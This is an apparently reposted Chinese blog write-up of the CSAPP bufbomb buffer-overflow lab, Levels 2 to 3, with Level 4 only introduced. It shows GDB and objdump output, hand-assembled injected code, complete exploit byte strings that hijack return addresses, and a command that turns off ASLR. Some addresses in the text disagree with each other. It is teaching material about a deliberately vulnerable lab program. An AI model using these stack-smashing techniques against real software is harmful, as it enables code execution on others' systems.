CSAPP缓冲区溢出攻击实验(下)
来源:互联网 发布:ping 的端口 编辑:程序博客网 时间:2024/05/16 17:55
CSAPP缓冲区溢出攻击实验(下)
3.3 Level 2: 爆竹
实验要求
这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将global_value的值修改为cookie。因为全局变量与代码不在一个段中,所以我们不能让缓冲区一直溢出到.bss段(因为global_value初始化为0,所以它会被放在.bss而非.data段以节省空间)覆盖global_value的值。若修改了.bss和.text之间某些只读的段会引起操作系统的“警觉”而报错。所以在进入bang()之前我们需要执行一小段我们自己的代码去修改global_value,这一段代码就叫做 exploit code。
int global_value = 0;void bang(int val){ if (global_value == cookie) { printf("Bang!: You set global_value to 0x%x\n", global_value); validate(2); } else printf("Misfire: global_value = 0x%x\n", global_value); exit(0);}
第一步:bang()和global_value地址
我们驾轻就熟地得到bang()的入口地址0x08048e10,以及global_value的地址0x0804a1c4。
[root@vm bufbomb]$ objdump -t exploitcode | grep -e bang -e global_value080483b9 g F .text 0000001d bang080495bc g O .bss 00000004 global_value
第二步:运行时的栈地址
获得栈地址,从而知道我们注入代码的位置。方法就是为函数getbuf加断点,发现GDB会把断点加到0x8048ad6并停在这里,看下反汇编代码就能发现,0x8048ad6就是getbuf()执行完常规的三条指令(%ebp压栈、%ebp移动到%esp位置、移动%esp分配栈空间)之后的地方。现在就用info registers拿到我们最关心的栈地址%ebp=0xbfffb538:
[root@vm bufbomb]$ objdump -d bufbomb | grep -A 15 "<getbuf>:"08048ad0 <getbuf>: 8048ad0: 55 push %ebp 8048ad1: 89 e5 mov %esp,%ebp 8048ad3: 83 ec 28 sub $0x28,%esp 8048ad6: 8d 45 e8 lea -0x18(%ebp),%eax 8048ad9: 89 04 24 mov %eax,(%esp) 8048adc: e8 df fe ff ff call 80489c0 <Gets> 8048ae1: c9 leave 8048ae2: b8 01 00 00 00 mov $0x1,%eax 8048ae7: c3 ret 8048ae8: 90 nop 8048ae9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi[root@vm bufbomb]$ gdb bufbomb GNU gdb (GDB) Red Hat Enterprise Linux (7.2-75.el6)Copyright (C) 2010 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law. Type "show copying"and "show warranty" for details.This GDB was configured as "x86_64-redhat-linux-gnu".For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>...Reading symbols from /root/Temp/bufbomb/bufbomb...done.(gdb) b getbufBreakpoint 1 at 0x8048ad6(gdb) run -t cdaiStarting program: /root/Temp/bufbomb/bufbomb -t cdaiTeam: cdaiCookie: 0x5e5ee04eBreakpoint 1, 0x08048ad6 in getbuf ()Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.149.el6_6.4.i686(gdb) info registerseax 0xbfffb520 -1073760992ecx 0x0 0edx 0x8910d0 8982736ebx 0x0 0esp 0xbfffb510 0xbfffb510ebp 0xbfffb538 0xbfffb538esi 0x804b018 134524952edi 0xffffffff -1eip 0x8048ad9 0x8048ad9 <getbuf+9>eflags 0x282 [ SF IF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51
第三步:exploit代码的机器指令
为了避免手写机器指令出错,我们写一小段C和汇编程序,编译后提取出编译器为我们生成好的机器指令。其中movl $0x5e5ee04e,0x80495bc和call 80483b9两行就是我们想要的:
// exploitcode.c#include <stdio.h>int global_value = 0;void bang(int val);int main(int argc, char const *argv[]){ // Mock exploit code global_value = 1583276110; //0x5e5ee04e bang(0); return 0;}void bang(int val){ printf("%d\n", global_value);}// exploitcode.s pushl $0x08048e10 ret
[root@vm bufbomb]$ gcc -o exploitcode exploitcode.c[root@vm bufbomb]$ objdump -d exploitcode | grep -A15 "<main>:"08048384 <main>: 8048384: 8d 4c 24 04 lea 0x4(%esp),%ecx 8048388: 83 e4 f0 and $0xfffffff0,%esp 804838b: ff 71 fc pushl 0xfffffffc(%ecx) 804838e: 55 push %ebp 804838f: 89 e5 mov %esp,%ebp 8048391: 51 push %ecx 8048392: 83 ec 04 sub $0x4,%esp 8048395: c7 05 bc 95 04 08 4e movl $0x5e5ee04e,0x80495bc 804839c: e0 5e 5e 804839f: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80483a6: e8 0e 00 00 00 call 80483b9 <bang> ...[root@vm bufbomb]$ gcc -c exploitcode.s[root@vm bufbomb]$ objdump -d exploitcode.o exploitcode.o: file format elf32-i386Disassembly of section .text:00000000 <.text>: 0: 68 10 8e 04 08 push $0x8048e10 5: c3 ret
关键技术点
先说一下碰到的问题,都是顺利做出这个实验的关键点:
- Linux内存地址随机化:Linux为了保护程序,每次加载都会使用不同的基地址,所以每次用GDB调试进入getbuf()后查看%esp和%ebp都是不同的。%ebp是动态的可就麻烦了!没法知道准确的栈地址怎么让我们注入的代码拿到CPU控制权啊?尝试断点卡在getbuf()时立即去修改exploit字符串也失败了,貌似bufbomb提前加载了它似的。最后没办法,手动关闭掉地址随机化:echo “0” > /proc/sys/kernel/randomize_va_space。
- call绝对地址:call/jmp默认都是near跳转,使用相对地址。而我们注入的代码是在运行时栈上,要跳转的bang()是在.text段上,二者相隔“十万八千里”,直接计算相对地址的话将会是一个很大的数字。提示里建议:先将bang()地址压入栈,然后用ret指令实现绝对地址跳转,“微操作”啊!
- 自动生成机器指令:可以写一小段对应的C代码,但像把bang()地址压入栈后ret这种就没法写出对应的C了。提示里也给出了建议:新建一个.s汇编文件,编写想翻译的汇编后用gcc -c编译,然后objdump反汇编就行了。.s里可以只包含我们想翻译的汇编,不用是完整的代码。
- GDB调试命令参数:之前一直用cat exploit.raw | ./sendstring | ./bufbomb -t cdai运行,但在GDB里执行run时是不支持管道的。还想调试怎么办?最简单的办法就是把cat exploit.raw | ./sendstring > tmp重定向到临时文件,然后在GDB里run -t cdai < tmp启动调试。
最终exploit字符串
至此,bang()和global_value的地址、运行时栈地址、exploit的机器指令就都有了,万事俱备,接下来就可以构造溢出缓冲区的字节串了:
……………………………………………………………………………………………. 0xbfffb540
Return Address -> 20 b5 ff bf 0xbfffb520
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp -> padding 11 22 33 44
……………………………………………………………………………………………. 0xbfffb538 <- %ebp
padding 00
……………………………………………………………………………………………. 0xbfffb537
c3 ret
……………………………………………………………………………………………. 0xbfffb536
68 10 8e 04 08 pushl bang()
……………………………………………………………………………………………. 0xbfffb531
c7 04 24 00 00 00 00 movl $0x0, (%esp)
……………………………………………………………………………………………. 0xbfffb52a
c7 05 c4 a1 04 08 4e e0 5e 5e movl $0x5e5ee04e, global_value
……………………………………………………………………………………………. 0xbfffb520
……………………………………………………………………………………………. 0xbfffb510 <- %esp
根据我们的预想,getbuf()调用返回后的栈应该是这个样子,%esp回到调用getbuf()前的位置,而%ebp被损坏,但没关系(一直困惑bang()压入栈时不会报错吗?),最重要的是%eip指向了我们注入的代码起始位置:
……………………………………………………………………………………………. 0x44332211 <- %ebp
……………………………………………………………………………………………. 0xbfba3540 <- %esp
……………………………………………………………………………………………. 0xbfffb537
c3 ret
……………………………………………………………………………………………. 0xbfffb536
68 10 8e 04 08 pushl bang()
……………………………………………………………………………………………. 0xbfffb531
c7 04 24 00 00 00 00 movl $0x0, (%esp)
……………………………………………………………………………………………. 0xbfffb52a
c7 05 c4 a1 04 08 4e e0 5e 5e movl $0x5e5ee04e, global_value
……………………………………………………………………………………………. 0xbfffb520 <- %eip
实验结果
运行一下,真的成功了!做这个实验的感想就是,要是没有Linux内存地址随机化保护的话,还真挺容易利用缓冲区溢出漏洞exploit代码的。但要是buf是全局变量,地址固定的话,是不是Linux也无能为力了呢?
[root@vm bufbomb]$ cat exploit_level_2.rawc705c4a104084ee05e5ec704240000000068108e0408c3001122334420b5ffbf[root@vm bufbomb]$ cat exploit_level_2.raw | ./sendstring | ./bufbomb -t cdaiTeam: cdaiCookie: 0x5e5ee04eType string:Bang!: You set global_value to 0x5e5ee04eNICE JOB!Sent validation information to grading server
3.4 Level 3: 炸药
前面三个实验都使程序跳转到一个会立刻终止的函数,smoke()、fizz()、bang()都是这样的,所以尽管我们破坏了栈,也没有关系,反正程序不久后就会终止。但对于这一级别的实验就不可行了,在Level 3里,我们将getbuf()的返回值修改为我们的cookie,并“悄无声息”地返回到调用者test()中。
void test(){ int val; volatile int local = 0xdeadbeef; val = getbuf(); /* Check for corrupted stack */ if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%x\n", val); validate(3); } else { printf("Dud: getbuf returned 0x%x\n", val); }}int getbuf(){ char buf[12]; Gets(buf); return 1;}
仿照上一个实验的三步。首先第一步,我们要找的不是test()的入口地址,而是test()在调用getbuf()之后的那一条指令的地址,0x08048db2。
[root@vm bufbomb]$ objdump -d bufbomb | grep -A20 "<test>:"08048da0 <test>: 8048da0: 55 push %ebp 8048da1: 89 e5 mov %esp,%ebp 8048da3: 83 ec 18 sub $0x18,%esp 8048da6: c7 45 fc ef be ad de movl $0xdeadbeef,0xfffffffc(%ebp) 8048dad: e8 1e fd ff ff call 8048ad0 <getbuf> 8048db2: 89 c2 mov %eax,%edx ...
第二步,用GDB获得运行时栈地址是0x0xbfffb538,saved %ebp是0x0xbfffb558。
[root@vm bufbomb]$ gdb bufbomb ...(gdb) b getbufBreakpoint 1 at 0x8048ad6(gdb) run -t cdai < tmpTeam: cdaiCookie: 0x5e5ee04eBreakpoint 1, 0x08048ad6 in getbuf ()(gdb) info reeax 0xc 12ecx 0x0 0edx 0x3760d0 3629264ebx 0x0 0esp 0xbfffb510 0xbfffb510ebp 0xbfffb538 0xbfffb538esi 0x804b018 134524952edi 0xffffffff -1eip 0x8048ad6 0x8048ad6 <getbuf+6>eflags 0x282 [ SF IF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51(gdb) x/18x $sp0xbfffb510: 0x0076e2d8 0x00000000 0x00000000 0x000000000xbfffb520: 0x080484da 0x00000000 0x0804a12c 0xbfffb5640xbfffb530: 0x00374ff4 0x0804b018 0xbfffb558 0x08048db20xbfffb540: 0x00279e83 0x003754c0 0x0804966e 0xbfffb5640xbfffb550: 0xbfffb564 0xdeadbeef
第三步,编译手写汇编代码得到机器指令。
[root@vm bufbomb]$ gcc -c exploitcode_level2.s[root@vm bufbomb]$ cat exploitcode_level2.s movl $0x5e5ee04e,%eax pushl $0x08048da0 ret[root@vm bufbomb]$ objdump -d exploitcode_level2.o exploitcode_level2.o: file format elf32-i386Disassembly of section .text:00000000 <.text>: 0: b8 4e e0 5e 5e mov $0x5e5ee04e,%eax 5: 68 a0 8d 04 08 push $0x8048da0 a: c3 ret
……………………………………………………………………………………………. 0xbfffb540
Return Address(exploit) -> 20 b5 ff bf 0xbfffb520
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp -> 38 b5 ff bf 0xbfffb538
……………………………………………………………………………………………. 0xbfffb538 <- %ebp
padding 00112233445566
……………………………………………………………………………………………. 0xbfffb531
c3 ret
……………………………………………………………………………………………. 0xbfffb530
c9 leave
……………………………………………………………………………………………. 0xbfffb52f
68 58 b5 ff bf pushl saved %ebp
……………………………………………………………………………………………. 0xbfffb52a
68 b2 8d 04 08 pushl next instruction in test()
……………………………………………………………………………………………. 0xbfffb525
b8 4e e0 5e 5e movl $0x5e5ee04e, %eax
……………………………………………………………………………………………. 0xbfffb520
……………………………………………………………………………………………. 0xbfffb510 <- %esp
关键技术点
- 必须重利用0xbfffb538和0xbfffb53c位置来保存test()的Saved %ebp和Return address,这样我们exploit代码执行leave和ret时,就像又“重播”了getbuf()里的leave和ret一样,这样才能不被察觉地返回到test()中!
- push压栈修改的是%esp而非%ebp。
A.刚跳转到exploit代码时的栈
……………………………………………………………………………………………. 0xbfffb540 <- %esp
Return Address(exploit)
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp
……………………………………………………………………………………………. 0xbfffb538 <- %ebp
……………………………………………………………………………………………. 0xbfffb531
c3 ret
……………………………………………………………………………………………. 0xbfffb530
c9 leave
……………………………………………………………………………………………. 0xbfffb52f
68 58 b5 ff bf pushl saved %ebp
……………………………………………………………………………………………. 0xbfffb52a
68 b2 8d 04 08 pushl next instruction in test()
……………………………………………………………………………………………. 0xbfffb525
b8 4e e0 5e 5e movl $0x5e5ee04e, %eax
……………………………………………………………………………………………. 0xbfffb520 <- %eip
B.压入test()的return地址和%ebp后的栈
……………………………………………………………………………………………. 0xbfffb540
Return Address(exploit) -> b2 8d 04 08
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp -> 58 b5 ff bf
……………………………………………………………………………………………. 0xbfffb538 <- %ebp/%esp
……………………………………………………………………………………………. 0xbfffb531
c3 ret
……………………………………………………………………………………………. 0xbfffb530
c9 leave
……………………………………………………………………………………………. 0xbfffb52f <- %eip
C.执行leave还原%ebp和%esp后的栈
leave相当于 mov %ebp,%esp 并且 pop %ebp。
……………………………………………………………………………………………. 0xbfffb558 <- %ebp
……………………………………………………………………………………………. 0xbfffb540
Return Address(exploit) -> b2 8d 04 08
……………………………………………………………………………………………. 0xbfffb53c <- %esp
Saved %ebp -> 58 b5 ff bf
……………………………………………………………………………………………. 0xbfffb538
……………………………………………………………………………………………. 0xbfffb531
c3 ret
……………………………………………………………………………………………. 0xbfffb530 <- %eip
D.执行ret跳转回test()后的栈
ret相当于 pop %eip。
……………………………………………………………………………………………. 0xbfffb558 <- %ebp
……………………………………………………………………………………………. 0xbfffb540 <- %esp
Return Address(exploit) -> b2 8d 04 08
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp -> 58 b5 ff bf
……………………………………………………………………………………………. 0xbfffb538
89 c2 mov %eax,%edx
……………………………………………………………………………………………. 0x08048db2 <- %eip
运行一下,成功了!
[root@vm bufbomb]$ cat exploit_level_3.raw b84ee05e5e68b28d04086858b5ffbfc9c30011223344556638b5ffbf20b5ffbf[root@vm bufbomb]$ cat exploit_level_3.raw | ./sendstring | ./bufbomb -t cdaiTeam: cdaiCookie: 0x5e5ee04eType string:Boom!: getbuf returned 0x5e5ee04eNICE JOB!Sent validation information to grading server
3.5 Level 4: 硝化甘油
讲义上说了,完成Level 0到3就已经是100分了!这最终Level的挑战就是解决前面遇到过的,运行时栈地址会变化的问题。CMU说这里给出的方法不稳定,有时奏效有时segfault,标题里的一种不稳定的炸药-“硝化甘油”正是暗喻了这种攻击方法的不稳定。用bufbomb的-n参数进入Level 4模式,此时程序不会调用getbuf()而是其升级版getbufn():
int getbufn(){ char buf[512]; Gets(buf); return 1;}
getbufn()的调用者会使用alloca库函数随机分配栈空间,然后连续调用getbufn()五次。我们的任务与上一Level完全相同,就是保证getbufn()每次都返回我们的cookie而不是1。
- CSAPP缓冲区溢出攻击实验(下)
- CSAPP缓冲区溢出攻击实验(上)
- CSAPP Lab3:attacklab缓冲区溢出攻击实验
- CSAPP:Attack Lab —— 缓冲区溢出攻击实验
- 缓冲区溢出攻击实验
- 缓冲区溢出攻击实验
- 缓冲区溢出攻击实验
- CSAPP实验四----缓冲区溢出实验bufbomb
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(1)
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(2)
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(3)
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(4)
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(5)
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(6)
- 缓冲区溢出攻击实验(一)
- 缓冲区溢出攻击实验(二)
- 缓冲区溢出攻击实验(三)
- 实验8 缓冲区溢出攻击实验
- SpringMVC学习(三)
- 规律生活
- drp错误集锦---“Cannot return from outside a function or method”
- notepad++自动补全括号
- 学习Android的Camera
- CSAPP缓冲区溢出攻击实验(下)
- 调试规则
- 纸牌问题
- 浅谈Qos技术
- Binary XML file line #7: Error inflating class fragment
- Python模块学习笔记— —random
- C实战:强大的程序调试工具GDB
- 括号的匹配
- OGNL表达式struts2标签“%,#,$”的区别